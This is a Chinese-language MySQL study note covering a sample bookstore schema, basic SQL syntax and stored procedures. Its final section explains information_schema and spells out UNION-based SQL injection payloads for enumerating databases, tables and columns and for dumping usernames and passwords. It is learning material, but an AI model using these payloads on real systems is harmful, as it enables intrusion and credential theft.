MySQL库表与SQL语句

一、SQL基本语法

CREATE DATABASE BookSale;

USE BookSale;

CREATE TABLE Categories
(categoryCode nvarchar(20) PRIMARY KEY,
 categoryName nvarchar(50) NOT NULL
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE Books
(bookID int PRIMARY KEY  AUTO_INCREMENT,
 title nvarchar(50) NOT NULL,
 ISBN nchar(17) NOT NULL UNIQUE,
 author nvarchar(50),
 unitPrice decimal(6,2),
 categoryCode nvarchar(20)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


CREATE TABLE Customers
(customerID int PRIMARY KEY AUTO_INCREMENT,
 customerName nvarchar(20) NOT NULL UNIQUE,
 emailAddress nvarchar(50) NOT NULL,
 password nvarchar(50) NOT NULL
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


CREATE TABLE Orders
(orderID int PRIMARY KEY  AUTO_INCREMENT,
 orderDate datetime NOT NULL,
 shipDate datetime,
 customerID int NOT NULL
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


CREATE TABLE OrderDetails
(orderID int NOT NULL,
 bookID int NOT NULL,
 quantity int NOT NULL,
 price decimal(6,2),
 PRIMARY KEY (orderID, bookID)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE Comments
(commentID int PRIMARY KEY  AUTO_INCREMENT,
 userName nvarchar(50) NOT NULL,
 userEmail nvarchar(50) NOT NULL,
 rating tinyint NOT NULL,
 comment nvarchar(200) NOT NULL,
 bookID int NOT NULL
)ENGINE=InnoDB DEFAULT CHARSET=utf8;


ALTER TABLE Books
ADD CONSTRAINT fk_categoryCode_Books FOREIGN KEY(categoryCode) REFERENCES Categories(categoryCode);


ALTER TABLE Orders
ADD CONSTRAINT fk_customerID_Orders FOREIGN KEY(customerID) REFERENCES Customers(customerID);


ALTER TABLE OrderDetails
ADD CONSTRAINT fk_orderID_OrderDetails FOREIGN KEY(orderID) REFERENCES Orders(orderID);


ALTER TABLE OrderDetails
ADD CONSTRAINT fk_bookID_OrderDetails FOREIGN KEY(bookID) REFERENCES Books(bookID);


ALTER TABLE Comments
ADD CONSTRAINT fk_bookID_Comments FOREIGN KEY(bookID) REFERENCES Books(bookID);



INSERT INTO Categories VALUES('1','计算机');
INSERT INTO Categories VALUES('2','小说');
INSERT INTO Categories VALUES('3','信息');
INSERT INTO Categories VALUES('4','语言');


INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('编译原理','978-7-111-25121-7','Alfred',89.00,'1');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('操作系统概念','978-7-040-28341-9','西尔伯查茨',74.00,'1');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('MYSQL','978-7-5121-0059-6','王优胜',32.00,'3');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('网络设备互连学习指南','978-7-030-24167-2','高峡',39.00,'3');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('Java编程思想','978-7-111-21250-8','Bruce',79.00,'3');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('新思路计算机应用基础','978-7-113-15241-3','邓蓓',38.00,'3');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('剑桥标准英语教程','978-7-5619-2656-7','McCarthy',199.00,'4');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('托福考试冲刺试题','978-7-5619-3674-0',NULL,40.00,'4');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('狼图腾','978-7-535-42730-4','姜戎',32.00,'2');
INSERT INTO Books(title,ISBN,author,unitprice,categorycode) VALUES('乐观的心','978-7-5619-3547-7','Jeffrey',48.00,'2');


INSERT INTO Customers(customername,emailaddress,password) VALUES('张志远','zhzy79@bs.com','12345678');
INSERT INTO Customers(customername,emailaddress,password) VALUES('李涛','litao80@bs.com','12345678');
INSERT INTO Customers(customername,emailaddress,password) VALUES('Scottfield','Scottfield@bs.com','12345678');


INSERT INTO Orders(orderDate,shipdate,customerid) VALUES('2013-12-14','2013-12-17',3);
INSERT INTO Orders(orderDate,shipdate,customerid) VALUES('2013-12-15','2013-12-18',1);
INSERT INTO Orders(orderDate,shipdate,customerid) VALUES('2014-1-12','2014-1-15',1);
INSERT INTO Orders(orderDate,shipdate,customerid) VALUES('2014-1-13','2014-1-14',2);
INSERT INTO Orders(orderDate,shipdate,customerid) VALUES('2014-1-15',NULL,3);
INSERT INTO Orders(orderDate,shipdate,customerid) VALUES('2014-1-16',NULL,1);


INSERT INTO OrderDetails VALUES(1,1,1,71.20);
INSERT INTO OrderDetails VALUES(1,2,1,59.20);
INSERT INTO OrderDetails VALUES(2,6,12,30.40);
INSERT INTO OrderDetails VALUES(3,9,1,25.60);
INSERT INTO OrderDetails VALUES(3,10,1,38.40);
INSERT INTO OrderDetails VALUES(4,1,2,71.20);
INSERT INTO OrderDetails VALUES(4,2,10,59.20);
INSERT INTO OrderDetails VALUES(4,9,2,25.60);
INSERT INTO OrderDetails VALUES(4,10,2,38.40);
INSERT INTO OrderDetails VALUES(5,6,15,30.40);
INSERT INTO OrderDetails VALUES(6,7,1,159.20);

INSERT INTO Comments(username,useremail,rating,comment,bookid) VALUES('张志远','zhzy79@bsb.com',5,'内容非常全面',1);
INSERT INTO Comments(username,useremail,rating,comment,bookid) VALUES('李涛','litao80@bsb.com',4,'感觉很难学',2);

实验环境为phpstudy 2016所带的MYSQL数据库。

MySQL 学习大纲

Database Basic Operations

1、MYSQL登录与退出

D:\phpStudy\MySQL\bin

输入 mysql -uroot -p -P3306 -h127.0.0.1

退出的三种方法

mysql > exit;
mysql > quit;
mysql > \q;

2、MYSQL数据库的一些解释

注意：数据库就相当于文件夹 表就相当于文件

3、mysql注释符有三种：

1、#...      #后，单行注释
2、"--  ..." 单行注释
3、/*...*/       多行注释

4、数据库的一些基本操作

一.数据库的增删改查(sql语句)

增：create database db1;
删：drop database db1;
改：alter database db1 charset utf8
查：show databases;#查看所有的数据库

    show create database db1;查看指定的数据库

设置默认的utf8,在配置文件中：写上character_set_server = utf8

use db2   #代表你鼠标双击切换目录
select database() #查看你当前在哪个文件夹

重命名数据库 RENAME database olddbname TO newdbname

show status; -- 显示一些系统特定资源的信息，例如，正在运行的线程数量。

desc tabl_name; 显示表结构，字段类型，主键，是否为空等属性，但不显示外键。

show databases 查看这个mysql里面有多少个库

use 选择数据库

show tables 查看当前库里面所有的表

mysql> select password from user where user='root';

查看当前数据库 里面的表user 用户为root的密码

alter database 数据库名 character set utf8;

===================================================================

Table Basic Operations

1、查看表结构

desc table
DESCRIBE 表名;

2、查看表的内容

select * from table_name

3、建立表

CREATE TABLE 表名 (
    属性名 数据类型 [完整约束条件],
    属性名 数据类型 [完整约束条件],
    ...
    ...
    属性名 数据类型 [完整约束条件]
);

字段名就是属性名

完整的建立表的语句
create table users(id int(7) AUTO_INCREMENT,
                    username varchar(100) not null,
                    password varchar(100) not null,
                    PRIMARY KEY(id)
                    )ENGINE=InnoDB DEFAULT CHARSET=utf8;

if not exists表示当相同的表名存在时，则不执行此创建语句，避 免语句执行错误

create database if not exists [table];

ENGINE=InnoDB DEFAULT CHARSET=utf8;

ENGINE 设置表的引擎 和默认的字符类型

常见的数据库引擎：   InnoDB myisam

数据类型

MySQL中数据类型介绍

4、约束条件

PRIMARY KEY	标识该属性为该表的**主键**，可以唯一的标识对应的元组
FOREIGN KEY	标识该属性为该表的**外键**，是与之联系某表的主键
NOT NULL	标识该属性不能为空
UNIQUE	标识该属性的值是**唯一的**
AUTO_INCREMENT	标识该属性的值是自动增加，这是MySQL的SQL语句的特色
DEFAULT	为该属性设置默认值

5、修改表的操作

修改表:

    格式：ALTER TABLE 旧表名 RENAME 新表名;

​
​ 修改字段的数据类型: ​
ALTER TABLE 表名 MODIFY 属性名 数据类型;

修改字段名：

    ALTER TABLE 表名 CHANGE 旧属性名 新属性名 新数据类型;

增加字段名

    ALTER TABLE 表名 ADD 属性名1 数据类型 [完整性约束条件] [FIRST | AFTER 属性名2];

删除字段

    ALTER TABLE 表名 DROP 属性名;

更改表的存储引擎

    格式：ALTER TABLE 表名 ENGINE = 存储引擎名;

​

Data 增删改查

为表中所有字段添加数据（先添值，要不然表是空的，有字段无数据。）

语法：INSERT INTO 表名（字段名1，字段名2，…）VALUES（值1，值2，…）； mysql> insert into users (id,username,password)values(1,'moon','123456');

增

语法：INSERT INTO 表名 VALUES(值11，值2，…）； mysql> insert into users values(null,'test','123456');

语法：INSERT INTO 表名（字段1，字段2，…）VALUES(值1，值2，…）

语法：INSERT INTO 表名 SET 字段名1=值1[,字段名2=值2，…] 举例：INSERT INTO student SET id=4，name='zhaoliu',grade=72;

同时添加多条数据 语法：INSERT INTO 表名[(字段名1，字段名2，…)]VALUES （值1，值2，…），（值1，值2，…），

mysql> insert into users (id,username,password)values(null,'moon','123456'),(null,'alex','123456');

语法：INSERT INTO 表名[(字段名1，字段名2，…)]VALUES （值1，值2，…），（值1，值2，…），（值1，值2，…）

mysql> insert into users values(null,'moon1','123456'),(null,'alex1','123456');

删

DELETE FROM 表名 [WHERE 条件表达式

delete from users where id=1;

删除全部数据

若 DELETE 语句中没有使用WHERE语句，则会将表中所有记录都删除。

DELETE FROM 表名

删除全部数据的另一种方法——TRUNCATE

改（更新）

语法：UPDATE 表名 SET 字段名1=值1，[ ，字段名2=值2，…][ WHERE 条件表达式 ]

update users set password='aaaa' where id=1;

update users set password='123456',username='moon' where id=1

update users set password=456789;

查询

select * from users; *星号代表所有的字段

查询指定的字段 select username,password from users;

按条件调节查询 按关系来查询

语法：SELECT 字段名1，字段名2，…FROM 表名WHERE 条件表达式

in 查询

SELECT * FROM student2 WHERE id IN （1,2,3）；

带 BETWEEN AND 关键字的查询

select * from users where id not between 1 and 10;

带 DISTINCT 关键字的查询

select distinct username from users

like查询 一般都会给跟着% （%为通配符）

符号	描述	示例
%	代表零个或多个字符	bl% 找到 bl、black、blue 和 blob
_	代表单个字符	h_t 查找 hot、hat 和 hit

select * from users where username like "%m%" ; select* from users where username like "moo_"

and查询

满足多个条件 select * from users where id=1 and username='moon';

or查询

满足任意一个条件 select * from users where id=1 or username='moon';

OR 和 AND 一起使用的情况 OR 和 AND 一起使用的时候，AND 的优先级高于 OR，因此二者一起使用时，会先运算 AND 两 边的表达式，再运算 OR 两边的表达式。

mysql> select * from users where id >5 and password='123456c' or username='moon1';

聚合查询

count 返回行数

select count(*) from users;

select count(id) from users;

数据库常用函数

COUNT() 返回某列的行数 SUM() 返回某列值的和 AVG() 返回某列的平均值 MAX() 返回某列的最大值 MIN() 返回某列的最小值

分组查询

GROUP BY

mysql> SELECT * FROM users GROUP BY password; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 3 | moon1 | 123456 | | 1 | moon | 456789 | +----+----------+----------+ 2 rows in set (0.01 sec)

mysql> SELECT * FROM users GROUP BY username; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 2 | alex1 | 456789 | | 1 | moon | 456789 | | 3 | moon1 | 123456 | +----+----------+----------+ 3 rows in set (0.01 sec)

使用 LIMIT 限制查询结果的数量

select * from users limit 2,10;

select * from users as u where u.id=1;

为表和字段取别名

select username as myname from users;

===============================================================

mysql的子查询

where型子查询 （把内层查询结果当作外层查询的比较条件）
select * from users where id in (select id from users where id>10);

from型子查询

(把内层的查询结果供外层再次查询)                   
    select * from (select username,age from users) as agev_a where age>20   
    select * from (select * from users where id>=10) as age_10; 
        (select * from users where id>=10)查询出来的是一个集合 别名为age_10
        select * from age_10

exists型子查询

（把外层查询结果拿到内层，看内层的查询是否成立）
 1
 0
 select * from users where EXISTS (select * from users where id>1)

联合查询（两个表的查询）

注释：默认地，UNION 操作符选取不同的值。如果允许重复的值，请使用 UNION ALL。 当 ALL 随 UNION 一起使用时（即 UNION ALL），不消除重复行

UNION ALL 查询全部 而且不会消除重复的行

SQL UNION ALL 语法

union的用法及注意事项 两次查询的列数必须一致

 select * from users union select *,1 from news;

CREATE TABLE news ( id int(11) NOT NULL AUTO_INCREMENT, title varchar(255) not NULL, content varchar(255) not null, PRIMARY KEY (id) ) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

insert into news (title,content)values('a1','a1');

连接查询

左连接 left Join select * from tbl1 Left Join tbl2 where tbl1.ID = tbl2.ID 左连接后的检索结果是显示tbl1（左表）的所有数据和tbl2中满足where 条件的右表所有字段（如果不满足， 右表字段显示null） Left Join影响到的是右边的表。 右连接 Right Join select * from tbl1 Right Join tbl2 where tbl1.ID = tbl2.ID 检索结果是tbl2（右表)的所有数据和tbl1中满足where 条件的数据。 Right Join影响到的是左边的表。

二、SQL语句与数据库进阶操作

procedure 存储过程

1、创建存储过程；

mysql> delimiter $$
mysql> create procedure whi()
    -> begin
    -> declare i int;
    -> set i = 1;       #SET 变量名 = 表达式值 [,variable_name = expression ...]
                        #1、用户变量名一般以@开头 @num 2、滥用用户变量会导致程序难以理解及管理
    -> while i < 11 do
    -> update books set id=(11-i) where bookID=i;
    -> set i =i+1;
    -> end while;
    -> select * from books;
    -> end
    -> $$
Query OK, 0 rows affected (0.34 sec)
mysql> call whi()        #调用存储过程：call sp_name[(传参)];

解析：**默认情况下，存储过程和默认数据库相关联，如果想指定存储过程创建在某个特定的数据库下，那么在过程名前面加数据库名做前缀。 在定义过程时，使用 **DELIMITER $<span class="arithmatex"><span class="MathJax_Preview">** 命令将语句的结束符号从分号 **;** 临时改为两个 **</span><script type="math/tex">** 命令将语句的结束符号从分号 **;** 临时改为两个 **$，使得过程体中使用的分号被直接传递到服务器，而不会被客户端（如mysql）解释。

查看当前存储过程的详细：SHOW CREATE PROCEDURE 数据库.存储过程名;

2、删除存储过程

drop procedure whi; 3、修改存储过程名 alter procedure whi

MySQL 存储过程 | 菜鸟教程 mysql 如何写循环语句-mysql教程-PHP中文网

三、IFORMATION_SCHEMA 详解和SQL注入语句分析

跨库查询是 SQL注入的一种。 information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式。什么是元数据呢？元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。 在MySQL中，把 information_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，你将无法看到与之相关的任何文件。

information_schema数据库表说明:

**SCHEMATA**表：提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表：提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间等信息。是show tables from schemaname的结果取之此表。

**COLUMNS**表：提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

STATISTICS表：提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

USER_PRIVILEGES（用户权限）表：给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。

SCHEMA_PRIVILEGES（方案权限）表：给出了关于方案（数据库）权限的信息。该信息来自mysql.db授权表。是非标准表。

TABLE_PRIVILEGES（表权限）表：给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。

COLUMN_PRIVILEGES（列权限）表：给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

CHARACTER_SETS（字符集）表：提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

COLLATIONS表：提供了关于各字符集的对照信息。

COLLATION_CHARACTER_SET_APPLICABILITY表：指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。

TABLE_CONSTRAINTS表：描述了存在约束的表。以及表的约束类型。

KEY_COLUMN_USAGE表：描述了具有约束的键列。

ROUTINES表：提供了关于存储子程序（存储程序和函数）的信息。此时，ROUTINES表不包含自定义函数（UDF）。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。

VIEWS表：给出了关于数据库中的视图的信息。需要有show views权限，否则无法查看视图信息。

TRIGGERS表：提供了关于触发程序的信息。必须有super权限才能查看该表

**SCHEMATA ** SCHEMATA_NAME

TABLES TABLE_SCHEMA TABLE_NAME

COLUMNS TABLE_SCHEMA TABLE_NAME COLUMN_NAME

MYSQL注入语句分析

查询库

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

SCHEMA_NAME

information_schema.SCHEMATA 查询那个数据库的那个表的意思如果在同一个数据库里

就不用加上information_schema.

limit 3 从开头取三行三个 limit 0,1 从什么开头取多少个

select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 5,1

查询表 and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=mydata limit 0,1

select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=mydata limit 0,1

select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA='mydata' limit 0,1

elect 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库（十六进制） limit select (0x6D6F6F6E) hex() unhex()

查询列 and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六进制）limit 0,1

select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME='goods' limit 0,1

查询数据 暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

select * from goods where id=1 union select 1,2,3,4 from users;

select * from goods where id=-1 union select 1,2,3,4 from users;

首先查询库

select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 select SCHEMA_NAME from information_schema.SCHEMATA limit 1

select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1

查询的库 moon

查询表的 select hex('moon') select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='moon' limit 3,1 select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x6D6F6F6E limit 3,1

users

列

select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='moon' and TABLE_NAME='users' limit 1

select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1 查询结果 id username password

select id,username,password from moon.users select id,username,password from moon.users limit 1

通过information_schema系统库里面表来查询其他库表的数据

跨库查询。权限比较大的时候才可以的。

root root